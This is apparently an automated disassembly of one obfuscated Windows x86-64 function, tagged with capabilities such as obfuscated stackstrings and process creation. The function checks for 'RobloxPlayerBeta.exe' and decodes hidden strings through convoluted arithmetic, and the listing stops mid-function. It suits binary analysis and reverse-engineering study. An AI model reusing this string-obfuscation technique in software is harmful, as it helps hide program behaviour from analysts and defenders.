Function at 0x1400d7640
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Parse pe header
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x378]
sub rsp, 0x478
xor edi, edi
lea rdx, [rbp + 0x3b8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rsp + 0x50], rax
mov qword [rdx], rdi
call fcn.1400cc650
call fcn.1400cfef0
lea rdx, str.RobloxPlayerBeta.exe
lea rcx, [rsp + 0x68]
call fcn.14001edc0
nop
lea rcx, [rsp + 0x68]
call fcn.1400cc580
movzx ebx, al
lea rcx, [rsp + 0x68]
call fcn.14001ee00
test bl, bl
jne 0x1400d8436
mov byte [rbp + 0x2c0], Ordinal_27
mov byte [rbp + 0x2c1], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x2c2], WSAGetLastError
mov byte [rbp + 0x2c3], 0x77
mov byte [rbp + 0x2c4], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2c5], 0x79
mov byte [rbp + 0x2c6], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x2c7], 0x78
mov byte [rbp + 0x2c8], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2c9], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x2ca], 0x7e
mov byte [rbp + 0x2cb], 0x7a
mov byte [rbp + 0x2cc], 0x76
mov byte [rbp + 0x2cd], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x2ce], 0x79
mov byte [rbp + 0x2cf], 0x67
mov byte [rbp + 0x2d0], 0x7d
mov byte [rbp + 0x2d1], 0x67
mov byte [rbp + 0x2d2], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x2d3], gethostname
mov byte [rbp + 0x2d4], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x2d5], WSAStartup
mov byte [rbp + 0x2d6], 0x7f
mov byte [rbp + 0x2d7], 0x61
mov byte [rbp + 0x2d8], 0x62
mov byte [rbp + 0x2d9], 0x3d
mov byte [rbp + 0x2da], 2
mov byte [rbp + 0x2db], WSAGetLastError
mov byte [rbp + 0x2dc], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x2dd], WSAStartup
mov byte [rbp + 0x2de], WSAGetLastError
mov byte [rbp + 0x2df], Ordinal_32
mov byte [rbp + 0x2e0], 0x46
mov byte [rbp + 0x2e1], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e2], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x2e3], Ordinal_32
mov byte [rbp + 0x2e4], 0x42
mov byte [rbp + 0x2e5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2e6], ntohl
mov byte [rbp + 0x2e7], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x2e8], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x2e9], reloc.WS2_32.dll_send
mov byte [rbp + 0x2ea], Ordinal_79
mov byte [rbp + 0x2eb], reloc.WS2_32.dll_socket
mov byte [rbp + 0x2ec], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x2ed], Ordinal_79
mov byte [rbp + 0x2ee], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x2ef], 6
mov byte [rbp + 0x2f0], 8
mov byte [rbp + 0x2f1], bl
mov byte [rbp + 0x2f2], 0x5b
mov byte [rbp + 0x2f3], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2f4], xmm0
mov dword [rbp + 0x304], eax
mov word [rbp + 0x308], ax
movabs rsi, 0x1e9b6146cc00cbb5
movabs r14, 0xac1fc7ae09b6e521
movabs r12, 0xb4de75c2440043e7
movabs r13, 0x5c9ee666309279a5
movabs r15, 0x45f570a1d24af63
movzx r11d, byte [rbp + 0x3c0]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rbx, rdi
cmp rbx, 0x4a
jae 0x1400d83fc
movzx r10d, byte [rbp + rbx + 0x2c0]
mov edi, r10d
nop dword [rax]
cmp r8, rbx
ja 0x1400d83f3
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d78db
lea r11, [rbx + r14]
movzx eax, dil
and al, r11b
add al, al
sub r11b, al
add r11b, 0x19
add r11b, r10b
jmp 0x1400d7914
je 0x1400d8385
inc rax
cmp r8, rax
je 0x1400d832d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d82ed
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d82bb
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d8272
cmp r9, rbx
ja 0x1400d83ea
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400d793e
lea rcx, [rbx + rsi]
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xd
jmp 0x1400d7972
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d8257
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d8236
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d821b
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d81fd
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d7eee
nop
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d7ed0
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d7eac
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d7e87
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d7e68
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d7e4d
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d7e32
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d7e14
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d7df5
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d7dc5
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d7980
lea r8, [r9 + 2]
lea r9, [r8 + 0x20]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d83cd
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d83b0
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d7b76
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d7b58
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d7b3a
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d7d76
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d7d2a
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d7ce8
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d7cc2
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d7980
lea r8, [r9 + 0x200]
lea r9, [r8 + 1]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d7c96
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d7c77
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d7c58
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d7c39
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d7c1e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d7c00
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d7bdb
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d7bb3
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d7b94
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d7980
lea r8, [r9 + 8]
lea r9, [r8 + 0x80]
jmp 0x1400d7980
lea edx, [rbx - 0x15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6d
add r11b, dl
jmp 0x1400d7972
lea edx, [rbx - 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x61
add r11b, dl
jmp 0x1400d7914
lea edx, [rbx + 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2f
add r11b, dl
jmp 0x1400d78b0
lea edx, [rbx - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
movzx edi, bl
jmp 0x1400d828b
lea edx, [rbx + 0x66]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400d7893
lea edx, [rbx + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400d7893
lea edx, [rbx - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2e
movzx edi, bl
jmp 0x1400d81b6
lea ecx, [rbx - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
jmp 0x1400d82d1
lea edx, [rbx + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d82d4
lea edx, [rbx + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d8302
lea edx, [rbx - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d8342
lea ecx, [rbx - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x28
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7893
lea ecx, [rbx - 0xd]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x5b
mov byte [rbp + rbx + 0x2c0], r11b
inc rbx
jmp 0x1400d7893
lea edx, [rbx - 0x4f]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x29
add r11b, dl
cmp r9, 0x40
jb 0x1400d7cd8
movzx edi, bl
lea edx, [rdi + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x14]
jmp 0x1400d828e
lea edx, [rbx + 0x6f]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 9
add r11b, dl
cmp r8, 0x41
jae 0x1400d8199
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400d809b
lea edx, [rbx - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400d7cfe
lea edx, [rbx + 0x2d]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3b
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400d81e1
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400d7ff4
lea edx, [rbx - 0x23]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xb
jmp 0x1400d7d40
lea edx, [rbx + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7893
lea edx, [rbx - 4]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d8342
lea edx, [rbx - 0x46]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x1400d8302
lea ecx, [rbx + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x48
jmp 0x1400d82d4
lea ecx, [rbx + 0x36]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7a
jmp 0x1400d82d1
movzx edi, bl
lea edx, [rdi - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400d81b6
lea edx, [rbx - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400d7893
lea ecx, [rbx + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x1400d7893
movzx edi, bl
lea edx, [rdi + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x42
jmp 0x1400d828b
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400d7f15
lea edx, [rbx + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x19
jmp 0x1400d7d8c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d7f4e
lea edx, [rbx + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7893
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d7f76
lea edx, [rbx - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d8302
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d7f9a
lea ecx, [rbx + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
jmp 0x1400d82d4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d7fc2
movzx edi, bl
lea edx, [rdi - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400d81b6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d7d8f
lea edx, [rbx - 0xa]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400d7893
jne 0x1400d8014
movzx edi, bl
lea edx, [rdi + 0x1f]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x27
jmp 0x1400d828b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d803e
lea ecx, [rbx - 0x5d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x75
dec rbx
inc rbx
jmp 0x1400d7893
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d8062
lea ecx, [rbx + 0x27]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x11
jmp 0x1400d82d1
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d7d43
lea ecx, [rbx + 0x2f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x49
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7893
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d80d4
lea edx, [rbx - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7893
inc rax
cmp r8, rax
jne 0x1400d80f7
lea ecx, [rbx - 0x66]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x36
jmp 0x1400d82d4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d811b
lea ecx, [rbx - 0x24]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 4
jmp 0x1400d82d1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d8140
movzx edi, bl
lea edx, [rdi + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400d81b6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d816e
lea edx, [rbx + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400d7893
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d7d01
movzx edi, bl
lea edx, [rdi - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3c
jmp 0x1400d828b
movzx edi, bl
lea edx, [rdi + 0x68]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + rbx + 0x2c0]
sub cl, al
add cl, 0x14
lea r11d, [rcx + rcx]
add r11b, dl
sub dil, 0x77
movzx eax, r10b
and al, dil
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x41
add cl, r10b
add cl, dil
mov byte [rbp + rbx + 0x2c0], cl
jmp 0x1400d82d1
lea edx, [rbx - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d8302
lea edx, [rbx - 0x7d]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x6b
add r11b, dl
jmp 0x1400d8302
lea ecx, [rbx + 0x41]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x39
jmp 0x1400d82d4
lea ecx, [rbx + 0x7b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5d
dec rbx
inc rbx
jmp 0x1400d7893
movzx edi, bl
lea edx, [rdi - 9]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x3f
jmp 0x1400d828b
movzx edi, bl
lea edx, [rdi + 0x73]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x25
add r11b, dl
add dil, 0x47
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
add r10b, 0xf
add r10b, dil
mov byte [rbp + rbx + 0x2c0], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400d7893
lea ecx, [rbx + 0x6b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x13
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d7893
lea rax, [rbx + r12]
and dil, al
add dil, dil
sub al, dil
lea r11d, [r10 + rax]
sub r11b, 0x51
lea edx, [rbx - 0x35]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x73
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x2c0], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400d8342
lea rax, [rbx + r13]
and dil, al
add dil, dil
sub al, dil
lea r11d, [r10 + rax]
add r11b, 0x7d
lea ecx, [rbx - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, cl
mov byte [rbp + rbx + 0x2c0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7893
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea r11d, [r10 + rax]
add r11b, 0x4b
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7893
add bl, 0x25
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 3
xor edi, edi
jmp 0x1400d7890
sub bl, 0x1d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x35
xor edi, edi
jmp 0x1400d7880
lea rcx, [rbp + 0x161f4ec]
jmp 0x1400d8403
lea rcx, [rbp + 0x58da0d]
jmp 0x1400d8403
lea rcx, [rbp + 0x2c0]
call fcn.14003f5a0
mov dword [rbp + 0x3c0], 1
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x3c8]
call fcn.1400e8680
mov rcx, rax
call fcn.1400e8690
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [rbp + 0x1d0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1d1], Ordinal_200
mov byte [rbp + 0x1d2], Ordinal_200
mov byte [rbp + 0x1d3], Ordinal_200
mov byte [rbp + 0x1d4], Ordinal_200
mov byte [rbp + 0x1d5], 0xff
mov byte [rbp + 0x1d6], 9
mov byte [rbp + 0x1d7], 8
mov byte [rbp + 0x1d8], gethostname
mov byte [rbp + 0x1d9], Ordinal_45
mov byte [rbp + 0x1da], 0x43
mov byte [rbp + 0x1db], 0xf5
mov byte [rbp + 0x1dc], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x1dd], Ordinal_45
mov byte [rbp + 0x1de], 0x44
mov byte [rbp + 0x1df], Ordinal_60
mov byte [rbp + 0x1e0], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x1e1], 0xff
mov byte [rbp + 0x1e2], Ordinal_60
mov byte [rbp + 0x1e3], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x1e4], 0xfb
mov byte [rbp + 0x1e5], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e6], xmm0
mov qword [rbp + 0x1f6], rax
movabs rsi, 0xeaf71d452c538df8
movabs r15, 0x6cc1cce43648e1c8
movabs r12, 0x96d39259dda1c5d8
movabs r14, 0xc0e557cf84faa9e8
movzx ebx, byte [rbp + 0x3c0]
mov r9, qword [0x1402e3348]
mov r8, qword [0x1402e3350]
mov r11, rdi
cmp r11, 0x2e
jae 0x1400d90e5
movzx r10d, byte [rbp + r11 + 0x1d0]
mov rdx, r10
nop dword [rax]
cmp r9, r11
ja 0x1400d90dc
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400d856b
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x38
jmp 0x1400d85b1
je 0x1400d9069
inc rax
cmp r9, rax
je 0x1400d900b
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400d8fc6
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400d8f92
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400d8f56
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400d8f0d
cmp r8, r11
ja 0x1400d90d3
lea rax, [r8 + 0x40]
cmp r9, rax
jae 0x1400d85da
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x68
jmp 0x1400d8610
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400d8eef
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400d8ed4
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400d8eb6
lea rax, [r8 + 9]
cmp r9, rax
je 0x1400d8e8a
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400d8b44
nop dword [rax]
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400d8b23
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400d8afc
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x1400d8adb
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400d8c1f
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400d8ac0
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x1400d8aa2
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x1400d8a88
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400d8a6a
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400d8a3e
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x1400d8620
lea r9, [r8 + 0x42]
lea r8, [r9 + 0x3e8]
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x1400d90b5
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400d9093
lea rax, [r8 + 4]
cmp r9, rax
jb 0x1400d880c
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x1400d87f2
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x1400d87d4
lea rax, [r8 + 3]
cmp r9, rax
jb 0x1400d89f1
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x1400d89a8
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x1400d896d
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400d8944
lea rax, [r8 + 1]
cmp r9, rax
jb 0x1400d8620
lea r9, [r8 + 5]
lea r8, [r9 + 0xa]
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x1400d8914
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x1400d88fa
lea rax, [r8 + 4]
cmp r9, rax
ja 0x1400d88dc
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x1400d88c2
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x1400d88ad
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x1400d888b
lea rax, [r8 + 2]
cmp r9, rax
ja 0x1400d886b
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x1400d8844
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x1400d8826
lea rax, [r8 + 1]
cmp r9, rax
ja 0x1400d8620
lea r9, [r8 + 5]
lea r8, [r9 + 0x2a]
jmp 0x1400d8620
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d8610
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 8
jmp 0x1400d85b1
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x78
jmp 0x1400d8536
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x40
movzx edi, r11b
jmp 0x1400d8f29
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r8
dec r11
inc r11
jmp 0x1400d8523
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x20
dec r11
inc r11
jmp 0x1400d8523
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx edi, r11b
jmp 0x1400d8f6e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
jmp 0x1400d8fab
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x70
jmp 0x1400d8fae
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d8fdd
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
jmp 0x1400d9024
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400d8523
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov byte [rbp + r11 + 0x1d0], bl
inc r11
jmp 0x1400d8523
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
cmp r8, 0x5a
